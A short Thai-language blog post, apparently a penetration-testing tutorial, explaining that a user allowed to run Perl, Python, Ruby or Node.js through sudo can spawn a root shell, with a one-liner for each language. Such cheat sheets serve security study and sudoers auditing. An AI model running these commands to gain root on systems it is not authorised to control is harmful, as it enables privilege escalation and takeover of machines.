SUDO WITH PROGRAMMING LANGUAGE
SUDO WITH PROGRAMMING LANGUAGE
ในบทนี้จะพูดถึงการใช้งานภาษาต่างๆในการสร้าง shell ใหม่ นั่นทำให้หากเรากำหนดให้ user ใดๆ สามารถใช้ sudo กับภาษาอย่าง perl, python, ruby, node ก็จะสามารถใช้ shell ด้วยสิทธิ์ root ได้นั่นเอง
Perl
sudo -u root perl -e ‘`/bin/bash`’

Python
sudo -u root python -c ‘import pty;pty.spawn(“/bin/bash”)’

Ruby
sudo -u root ruby -e ‘require “irb”; IRB.start(__FILE__)’
> puts `id`

Nodejs
sudo -u root nodejs -e "var exec = require('child_process').exec;
exec('[COMMAND]', function (error, stdOut, stdErr) {
console.log(stdOut);
});"
Comments
Post a Comment